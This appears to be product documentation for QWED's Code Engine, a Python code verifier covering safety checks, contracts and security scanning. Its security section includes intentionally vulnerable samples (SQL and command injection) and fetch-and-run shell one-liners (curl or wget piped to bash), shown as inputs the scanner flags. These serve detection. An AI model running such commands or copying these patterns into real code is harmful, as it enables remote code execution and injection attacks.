> ## Documentation Index
> Fetch the complete documentation index at: https://docs.qwedai.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Code engine

> QWED's Code Engine uses CrossHair symbolic execution to verify Python code correctness, detect vulnerabilities like SQL injection and XSS, without running code.

<Info>Updated in v5.1.0: The legacy `CodeExecutor` class is now hard-blocked. All code execution uses `SecureCodeExecutor` exclusively. See the [changelog](/changelog#v5-1-0-—-agent-state-governance-and-fail-closed-hardening) for migration details.</Info>

The Code Engine uses [CrossHair](https://github.com/pschanely/crosshair), a symbolic execution tool for Python, to verify code correctness without running it.

***

## Capabilities

| Feature                     | Description                   |
| --------------------------- | ----------------------------- |
| **Property Verification**   | Verify pre/post conditions    |
| **Safety Checks**           | Division by zero, null checks |
| **Vulnerability Detection** | SQL injection, XSS            |
| **Type Checking**           | Runtime type violations       |
| **Boundary Analysis**       | Edge case detection           |

***

## Quick start

```python theme={null}
from qwed_sdk import QWEDClient

client = QWEDClient()

code = '''
def divide(a: int, b: int) -> float:
    return a / b
'''

result = client.verify_code(code)
print(result.verified)      # False
print(result.issues[0])     # "Division by zero possible when b=0"
```

***

## Safety verification

### Division by zero

```python theme={null}
# UNSAFE - can crash
def divide(a: int, b: int) -> float:
    return a / b

# SAFE - guarded
def divide_safe(a: int, b: int) -> float:
    if b == 0:
        raise ValueError("Cannot divide by zero")
    return a / b
```

```python theme={null}
result = client.verify_code(unsafe_code)
# Issues: ["Division by zero when b=0"]

result = client.verify_code(safe_code)
# Verified: True, Issues: []
```

### Null pointer / None access

```python theme={null}
# UNSAFE
def get_name(user: Optional[User]) -> str:
    return user.name  # May crash if user is None

# SAFE
def get_name_safe(user: Optional[User]) -> str:
    if user is None:
        return "Guest"
    return user.name
```

### Index out of bounds

```python theme={null}
# UNSAFE
def first_element(items: List[int]) -> int:
    return items[0]  # Crashes on empty list

# SAFE
def first_element_safe(items: List[int]) -> int:
    if not items:
        raise ValueError("List is empty")
    return items[0]
```

***

## Contract verification

### Preconditions

```python theme={null}
code = '''
def sqrt(x: float) -> float:
    """
    pre: x >= 0
    """
    return x ** 0.5
'''

result = client.verify_code(code)
# Verifies that callers must pass x >= 0
```

### Postconditions

```python theme={null}
code = '''
def abs_value(x: int) -> int:
    """
    post: __return__ >= 0
    """
    return x if x >= 0 else -x
'''

result = client.verify_code(code)
# Verifies result is always >= 0
```

### Full contract

```python theme={null}
code = '''
def binary_search(arr: List[int], target: int) -> int:
    """
    pre: arr == sorted(arr)  # Array must be sorted
    post: __return__ == -1 or arr[__return__] == target
    """
    # implementation...
'''

result = client.verify_code(code)
```

***

## Security scanning

### SQL injection

```python theme={null}
code = '''
def get_user(username: str) -> str:
    query = f"SELECT * FROM users WHERE name = '{username}'"
    return execute(query)
'''

result = client.verify_code(code, check_security=True)
# Issues: ["SQL Injection vulnerability: unsanitized input in query"]
```

### Command injection

```python theme={null}
code = '''
def run_command(user_input: str):
    os.system(f"echo {user_input}")
'''

result = client.verify_code(code, check_security=True)
# Issues: ["Command injection vulnerability"]
```

### Remote code execution (pipe-to-shell)

The Code Engine detects `curl` or `wget` commands piped into a shell through `subprocess`. Detection uses two layers:

1. **Regex scanning** matches known attack patterns across the full source text, including multi-line invocations.
2. **AST analysis** catches obfuscated variants that use f-strings, list arguments, or variable interpolation.

The engine applies two severity tiers:

* **Strict match** — `subprocess` call with `curl`/`wget` piped to `bash`/`sh` **and** `shell=True`. Message: `"Remote code execution via shell=True with curl/wget pipe to shell."`
* **Heuristic match** — same pipe-to-shell pattern **without** `shell=True`. Message: `"Suspicious curl/wget pipe-to-shell pattern detected (heuristic)."`

Both tiers are reported as `CRITICAL` severity with issue type `remote_code_execution`.

```python theme={null}
code = '''
import subprocess
subprocess.run("curl http://example.com/install.sh | bash", shell=True)
'''

result = client.verify_code(code, check_security=True)
# Issues: [{"type": "remote_code_execution", "severity": "CRITICAL"}]
```

In addition to pipe (`|`), the detection also matches commands chained with `;` or `&&`:

```python theme={null}
code = '''
import subprocess
subprocess.call("wget http://example.com/payload.sh && bash payload.sh", shell=True)
'''

result = client.verify_code(code, check_security=True)
# Issues: [{"type": "remote_code_execution", "severity": "CRITICAL"}]
```

<Note>
  This check covers `subprocess.run`, `subprocess.call`, `subprocess.Popen`, and `subprocess.check_output`. The AST-based analysis catches patterns that span multiple lines or use dynamic string construction such as f-strings.
</Note>

***

## Complexity analysis

```python theme={null}
code = '''
def bubble_sort(arr: List[int]) -> List[int]:
    n = len(arr)
    for i in range(n):
        for j in range(n-1):
            if arr[j] > arr[j+1]:
                arr[j], arr[j+1] = arr[j+1], arr[j]
    return arr
'''

result = client.analyze_complexity(code)
print(result.complexity)      # "O(n²)"
print(result.loop_depth)      # 2
print(result.recursive)       # False
```

***

## Language support

| Language   | Support Level  |
| ---------- | -------------- |
| Python     | Full           |
| JavaScript | Basic (coming) |
| TypeScript | Basic (coming) |
| SQL        | Via SQL Engine |

***

## Configuration

```python theme={null}
result = client.verify_code(
    code,
    timeout=30,              # Max verification time
    check_security=True,     # Enable security checks
    check_types=True,        # Enable type checking
    max_iterations=100       # Bounded model checking limit
)
```

***

## Performance

| Code Size    | Avg Latency |
| ------------ | ----------- |
| \< 50 lines  | 200ms       |
| 50-200 lines | 500ms       |
| > 200 lines  | 1-5s        |

***

## Next steps

* [SQL engine](./sql) - Verify SQL queries
* [Logic engine](./logic) - Verify logical constraints
* [Architecture](/architecture) - System overview
